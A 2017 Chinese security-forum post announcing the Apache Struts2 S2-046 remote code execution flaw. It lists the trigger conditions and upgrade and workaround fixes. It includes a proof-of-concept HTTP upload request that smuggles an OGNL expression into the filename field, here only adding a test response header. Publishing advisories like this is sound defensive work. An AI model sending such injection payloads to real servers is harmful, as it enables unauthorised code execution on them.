查看: 13423|回复: 0

Apache Struts2再曝远程代码执行漏洞(S2-046 附PoC)

[复制链接]
发表于 2017-3-28 16:04:39 | 显示全部楼层 |阅读模式

Apache Struts是美国阿帕奇(Apache)软件基金会负责维护的一个开源项目,是一套用于创建企业级Java Web应用的开源MVC框架。
本月初,Strust2漏洞爆出一个RCE远程代码执行漏洞(S2-045)可致远程代码执行。而时隔两周,又出现一个相似的远程代码执行漏洞。
漏洞编号CVE-2017-5638
漏洞简介使用恶意的Content-Disposition值或者使用不合适的Content-Length头就可能导致远程命令执行。该漏洞与S2-045 (CVE-2017-5638)相似,但使用了不同的攻击向量。
触发漏洞需要满足的条件:
JakartaStreamMultipartRequest已开启。也就是说,Struts2需要通过Jakarta stream parser配置(非默认)。在Struts2配置文件中检查<constant name=”struts.multipart.parser” value=”jakarta-stream” />
上传的文件大小根据Content-Length头的声明要大于Struts2默认允许的2GB大小
文件名中包含OGNL payload
PoC

1

2

3

4

5

6

7

8

9

10


POST
/doUpload.action
HTTP/1.1

Host:
localhost:8080

Content-Length:
10000000

Content-Type:
multipart/form-data;
boundary=----WebKitFormBoundaryAnmUgTEhFhOZpr9z

Connection:
close

------WebKitFormBoundaryAnmUgTEhFhOZpr9z

Content-Disposition:
form-data;
name="upload";
filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','Kaboom')}"

Content-Type:
text/plain

Kaboom

------WebKitFormBoundaryAnmUgTEhFhOZpr9z--





解决方案如果你正在使用基于Jakarta的文件上传Multipart解析器,请将Apache Struts升级到2.3.32或2.5.10.1。
和先前的漏洞一样,也有相应的变通方案,即采用其他Mutipart解析器实施方案。Apache也提供2个插件作为解决方案(点击这里)——如果使用的是Apache Struts 2.3.8 – 2.5.5或者2.3.20 – 2.5.5版本,即可采用该解决方案。
另外也可以从堆中移除File Upload Interceptor,定义自有堆并设为默认(具体怎么做可以点击这里),该解决方案针对Struts 2.5.8 – 2.5.10有效。
回复

使用道具 举报

高级模式
B Color Image Link Quote Code Smilies |上传

本版积分规则

快速回复 返回顶部 返回列表